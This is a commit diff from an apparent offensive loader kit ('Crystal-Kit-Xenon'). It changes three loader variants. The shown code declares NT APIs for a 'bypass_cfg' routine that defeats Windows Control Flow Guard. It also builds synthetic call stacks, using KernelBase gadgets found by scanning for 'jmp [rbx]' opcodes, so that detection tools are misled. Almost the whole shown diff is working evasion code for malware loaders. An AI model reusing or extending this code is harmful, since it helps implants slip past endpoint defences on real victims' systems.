admin/nickswink-Crystal-Kit-Xenon
1
0
Fork 0
mirror of https://github.com/nickswink/Crystal-Kit-Xenon synced 2026-06-21 14:02:19 +00:00
Code Issues Packages Projects Releases Wiki Activity

update gadget module

Browse Source 
change gadget module back to KernelBase
This commit is contained in:
Rasta Mouse
2025-12-04 13:12:11 +00:00
parent defeef68df
commit f8000f277d
10 changed files with 126 additions and 166 deletions
Download Patch File Download Diff File Expand all files Collapse all files
loader/src/cfg.c
+36
View File
@@ -1,6 +1,42 @@
#include <windows.h>
#include "cfg.h"
#define NT_SUCCESS(status) ( ( NTSTATUS ) ( status ) >= 0 )
#define NtCurrentProcess() ( ( HANDLE ) ( ULONG_PTR ) -1 )
typedef struct {
ULONG ExtendedProcessInfo;
ULONG ExtendedProcessInfoBuffer;
} EXTENDED_PROCESS_INFORMATION;
typedef enum {
ProcessUserModeIOPL = 16,
ProcessCookie = 36
} PROCESSINFOCLASS;
typedef struct {
DWORD dwNumberOfOffsets;
PULONG plOutput;
PCFG_CALL_TARGET_INFO ptOffsets;
PVOID pMustBeZero;
PVOID pMoarZero;
} VM_INFORMATION;
typedef enum {
VmPrefetchInformation,
VmPagePriorityInformation,
VmCfgCallTargetInformation
} VIRTUAL_MEMORY_INFORMATION_CLASS;
typedef struct {
PVOID VirtualAddress;
SIZE_T NumberOfBytes;
} MEMORY_RANGE_ENTRY;
typedef enum {
MemoryBasicInformation
} MEMORY_INFORMATION_CLASS;
DECLSPEC_IMPORT NTSTATUS NTAPI NTDLL$NtQueryInformationProcess ( HANDLE, PROCESSINFOCLASS, PVOID, ULONG, PULONG );
DECLSPEC_IMPORT NTSTATUS NTAPI NTDLL$NtQueryVirtualMemory ( HANDLE, PVOID, MEMORY_INFORMATION_CLASS, PVOID, SIZE_T, PSIZE_T );
DECLSPEC_IMPORT NTSTATUS NTAPI NTDLL$NtSetInformationVirtualMemory ( HANDLE, VIRTUAL_MEMORY_INFORMATION_CLASS, SIZE_T, MEMORY_RANGE_ENTRY *, PVOID, ULONG );
loader/src/cfg.h
-36
View File
@@ -1,38 +1,2 @@
#define NT_SUCCESS(status) ( ( NTSTATUS ) ( status ) >= 0 )
#define NtCurrentProcess() ( ( HANDLE ) ( ULONG_PTR ) -1 )
typedef struct {
ULONG ExtendedProcessInfo;
ULONG ExtendedProcessInfoBuffer;
} EXTENDED_PROCESS_INFORMATION;
typedef enum {
ProcessUserModeIOPL = 16,
ProcessCookie = 36
} PROCESSINFOCLASS;
typedef struct {
DWORD dwNumberOfOffsets;
PULONG plOutput;
PCFG_CALL_TARGET_INFO ptOffsets;
PVOID pMustBeZero;
PVOID pMoarZero;
} VM_INFORMATION;
typedef enum {
VmPrefetchInformation,
VmPagePriorityInformation,
VmCfgCallTargetInformation
} VIRTUAL_MEMORY_INFORMATION_CLASS;
typedef struct {
PVOID VirtualAddress;
SIZE_T NumberOfBytes;
} MEMORY_RANGE_ENTRY;
typedef enum {
MemoryBasicInformation
} MEMORY_INFORMATION_CLASS;
BOOL cfg_enabled ( );
BOOL bypass_cfg ( PVOID address );
loader/src/cleanup.c
-4
View File
@@ -1,7 +1,6 @@
#include <windows.h>
#include "memory.h"
#include "cfg.h"
#include "spoof.h"
#include "tcg.h"
DECLSPEC_IMPORT HANDLE WINAPI KERNEL32$CreateTimerQueue ( );
@@ -17,9 +16,6 @@ DECLSPEC_IMPORT ULONG NTAPI NTDLL$NtContinue ( CONTEXT *, BOOLEA
#define memcpy(x, y, z) __movsb ( ( unsigned char * ) x, ( unsigned char * ) y, z );
#define NTDLL_HASH 0x3CFA685D
#define VIRTUALFREE_HASH 0x30633AC
void cleanup_memory ( MEMORY_LAYOUT * memory )
{
/* is cfg enabled? */
loader/src/spoof.c
+6 -18
View File
@@ -108,15 +108,7 @@ void init_frame_info ( SYNTHETIC_STACK_FRAME * frame )
frame->Frame2.FunctionAddress = ( PVOID ) GetProcAddress ( ( HMODULE ) frame2_module, "RtlUserThreadStart" );
frame->Frame2.Offset = 0x2c;
// frame->Gadget = KERNEL32$GetModuleHandleA ( "KernelBase.dll" );
PVOID dfshim = KERNEL32$GetModuleHandleA ( "dfshim.dll" );
if ( dfshim != NULL ) {
frame->Gadget = dfshim;
} else {
frame->Gadget = LoadLibraryA ( "dfshim.dll" );
}
frame->Gadget = KERNEL32$GetModuleHandleA ( "KernelBase.dll" );
}
BOOL get_text_section_size ( PVOID module, PDWORD virtual_address, PDWORD size )
@@ -282,16 +274,12 @@ PVOID find_gadget( PVOID module )
/* x64 opcodes are ff 23 */
if ( ( ( PBYTE ) module_text_section ) [ i ] == 0xFF && ( ( PBYTE ) module_text_section ) [ i + 1 ] == 0x23 )
{
/* check for a call before the gadget */
if ( ( ( PBYTE ) module_text_section ) [ i - 5 ] == 0xE8 )
{
gadget_list [ counter ] = ( PVOID ) ( ( UINT_PTR ) module_text_section + i );
counter++;
gadget_list [ counter ] = ( PVOID ) ( ( UINT_PTR ) module_text_section + i );
counter++;
if ( counter == 15 ) {
break;
}
}
if ( counter == 15 ) {
break;
}
}
}
local-loader/src/cfg.c
+36
View File
@@ -1,6 +1,42 @@
#include <windows.h>
#include "cfg.h"
#define NT_SUCCESS(status) ( ( NTSTATUS ) ( status ) >= 0 )
#define NtCurrentProcess() ( ( HANDLE ) ( ULONG_PTR ) -1 )
typedef struct {
ULONG ExtendedProcessInfo;
ULONG ExtendedProcessInfoBuffer;
} EXTENDED_PROCESS_INFORMATION;
typedef enum {
ProcessUserModeIOPL = 16,
ProcessCookie = 36
} PROCESSINFOCLASS;
typedef struct {
DWORD dwNumberOfOffsets;
PULONG plOutput;
PCFG_CALL_TARGET_INFO ptOffsets;
PVOID pMustBeZero;
PVOID pMoarZero;
} VM_INFORMATION;
typedef enum {
VmPrefetchInformation,
VmPagePriorityInformation,
VmCfgCallTargetInformation
} VIRTUAL_MEMORY_INFORMATION_CLASS;
typedef struct {
PVOID VirtualAddress;
SIZE_T NumberOfBytes;
} MEMORY_RANGE_ENTRY;
typedef enum {
MemoryBasicInformation
} MEMORY_INFORMATION_CLASS;
DECLSPEC_IMPORT NTSTATUS NTAPI NTDLL$NtQueryInformationProcess ( HANDLE, PROCESSINFOCLASS, PVOID, ULONG, PULONG );
DECLSPEC_IMPORT NTSTATUS NTAPI NTDLL$NtQueryVirtualMemory ( HANDLE, PVOID, MEMORY_INFORMATION_CLASS, PVOID, SIZE_T, PSIZE_T );
DECLSPEC_IMPORT NTSTATUS NTAPI NTDLL$NtSetInformationVirtualMemory ( HANDLE, VIRTUAL_MEMORY_INFORMATION_CLASS, SIZE_T, MEMORY_RANGE_ENTRY *, PVOID, ULONG );
local-loader/src/cfg.h
-36
View File
@@ -1,38 +1,2 @@
#define NT_SUCCESS(status) ( ( NTSTATUS ) ( status ) >= 0 )
#define NtCurrentProcess() ( ( HANDLE ) ( ULONG_PTR ) -1 )
typedef struct {
ULONG ExtendedProcessInfo;
ULONG ExtendedProcessInfoBuffer;
} EXTENDED_PROCESS_INFORMATION;
typedef enum {
ProcessUserModeIOPL = 16,
ProcessCookie = 36
} PROCESSINFOCLASS;
typedef struct {
DWORD dwNumberOfOffsets;
PULONG plOutput;
PCFG_CALL_TARGET_INFO ptOffsets;
PVOID pMustBeZero;
PVOID pMoarZero;
} VM_INFORMATION;
typedef enum {
VmPrefetchInformation,
VmPagePriorityInformation,
VmCfgCallTargetInformation
} VIRTUAL_MEMORY_INFORMATION_CLASS;
typedef struct {
PVOID VirtualAddress;
SIZE_T NumberOfBytes;
} MEMORY_RANGE_ENTRY;
typedef enum {
MemoryBasicInformation
} MEMORY_INFORMATION_CLASS;
BOOL cfg_enabled ( );
BOOL bypass_cfg ( PVOID address );
local-loader/src/spoof.c
+6 -18
View File
@@ -108,15 +108,7 @@ void init_frame_info ( SYNTHETIC_STACK_FRAME * frame )
frame->Frame2.FunctionAddress = ( PVOID ) GetProcAddress ( ( HMODULE ) frame2_module, "RtlUserThreadStart" );
frame->Frame2.Offset = 0x2c;
// frame->Gadget = KERNEL32$GetModuleHandleA ( "KernelBase.dll" );
PVOID dfshim = KERNEL32$GetModuleHandleA ( "dfshim.dll" );
if ( dfshim != NULL ) {
frame->Gadget = dfshim;
} else {
frame->Gadget = LoadLibraryA ( "dfshim.dll" );
}
frame->Gadget = KERNEL32$GetModuleHandleA ( "KernelBase.dll" );
}
BOOL get_text_section_size ( PVOID module, PDWORD virtual_address, PDWORD size )
@@ -282,16 +274,12 @@ PVOID find_gadget( PVOID module )
/* x64 opcodes are ff 23 */
if ( ( ( PBYTE ) module_text_section ) [ i ] == 0xFF && ( ( PBYTE ) module_text_section ) [ i + 1 ] == 0x23 )
{
/* check for a call before the gadget */
if ( ( ( PBYTE ) module_text_section ) [ i - 5 ] == 0xE8 )
{
gadget_list [ counter ] = ( PVOID ) ( ( UINT_PTR ) module_text_section + i );
counter++;
gadget_list [ counter ] = ( PVOID ) ( ( UINT_PTR ) module_text_section + i );
counter++;
if ( counter == 15 ) {
break;
}
}
if ( counter == 15 ) {
break;
}
}
}
postex-loader/src/cfg.c
+36
View File
@@ -1,6 +1,42 @@
#include <windows.h>
#include "cfg.h"
#define NT_SUCCESS(status) ( ( NTSTATUS ) ( status ) >= 0 )
#define NtCurrentProcess() ( ( HANDLE ) ( ULONG_PTR ) -1 )
typedef struct {
ULONG ExtendedProcessInfo;
ULONG ExtendedProcessInfoBuffer;
} EXTENDED_PROCESS_INFORMATION;
typedef enum {
ProcessUserModeIOPL = 16,
ProcessCookie = 36
} PROCESSINFOCLASS;
typedef struct {
DWORD dwNumberOfOffsets;
PULONG plOutput;
PCFG_CALL_TARGET_INFO ptOffsets;
PVOID pMustBeZero;
PVOID pMoarZero;
} VM_INFORMATION;
typedef enum {
VmPrefetchInformation,
VmPagePriorityInformation,
VmCfgCallTargetInformation
} VIRTUAL_MEMORY_INFORMATION_CLASS;
typedef struct {
PVOID VirtualAddress;
SIZE_T NumberOfBytes;
} MEMORY_RANGE_ENTRY;
typedef enum {
MemoryBasicInformation
} MEMORY_INFORMATION_CLASS;
DECLSPEC_IMPORT NTSTATUS NTAPI NTDLL$NtQueryInformationProcess ( HANDLE, PROCESSINFOCLASS, PVOID, ULONG, PULONG );
DECLSPEC_IMPORT NTSTATUS NTAPI NTDLL$NtQueryVirtualMemory ( HANDLE, PVOID, MEMORY_INFORMATION_CLASS, PVOID, SIZE_T, PSIZE_T );
DECLSPEC_IMPORT NTSTATUS NTAPI NTDLL$NtSetInformationVirtualMemory ( HANDLE, VIRTUAL_MEMORY_INFORMATION_CLASS, SIZE_T, MEMORY_RANGE_ENTRY *, PVOID, ULONG );
postex-loader/src/cfg.h
-36
View File
@@ -1,38 +1,2 @@
#define NT_SUCCESS(status) ( ( NTSTATUS ) ( status ) >= 0 )
#define NtCurrentProcess() ( ( HANDLE ) ( ULONG_PTR ) -1 )
typedef struct {
ULONG ExtendedProcessInfo;
ULONG ExtendedProcessInfoBuffer;
} EXTENDED_PROCESS_INFORMATION;
typedef enum {
ProcessUserModeIOPL = 16,
ProcessCookie = 36
} PROCESSINFOCLASS;
typedef struct {
DWORD dwNumberOfOffsets;
PULONG plOutput;
PCFG_CALL_TARGET_INFO ptOffsets;
PVOID pMustBeZero;
PVOID pMoarZero;
} VM_INFORMATION;
typedef enum {
VmPrefetchInformation,
VmPagePriorityInformation,
VmCfgCallTargetInformation
} VIRTUAL_MEMORY_INFORMATION_CLASS;
typedef struct {
PVOID VirtualAddress;
SIZE_T NumberOfBytes;
} MEMORY_RANGE_ENTRY;
typedef enum {
MemoryBasicInformation
} MEMORY_INFORMATION_CLASS;
BOOL cfg_enabled ( );
BOOL bypass_cfg ( PVOID address );
postex-loader/src/spoof.c
+6 -18
View File
@@ -108,15 +108,7 @@ void init_frame_info ( SYNTHETIC_STACK_FRAME * frame )
frame->Frame2.FunctionAddress = ( PVOID ) GetProcAddress ( ( HMODULE ) frame2_module, "RtlUserThreadStart" );
frame->Frame2.Offset = 0x2c;
// frame->Gadget = KERNEL32$GetModuleHandleA ( "KernelBase.dll" );
PVOID dfshim = KERNEL32$GetModuleHandleA ( "dfshim.dll" );
if ( dfshim != NULL ) {
frame->Gadget = dfshim;
} else {
frame->Gadget = LoadLibraryA ( "dfshim.dll" );
}
frame->Gadget = KERNEL32$GetModuleHandleA ( "KernelBase.dll" );
}
BOOL get_text_section_size ( PVOID module, PDWORD virtual_address, PDWORD size )
@@ -282,16 +274,12 @@ PVOID find_gadget( PVOID module )
/* x64 opcodes are ff 23 */
if ( ( ( PBYTE ) module_text_section ) [ i ] == 0xFF && ( ( PBYTE ) module_text_section ) [ i + 1 ] == 0x23 )
{
/* check for a call before the gadget */
if ( ( ( PBYTE ) module_text_section ) [ i - 5 ] == 0xE8 )
{
gadget_list [ counter ] = ( PVOID ) ( ( UINT_PTR ) module_text_section + i );
counter++;
gadget_list [ counter ] = ( PVOID ) ( ( UINT_PTR ) module_text_section + i );
counter++;
if ( counter == 15 ) {
break;
}
}
if ( counter == 15 ) {
break;
}
}
}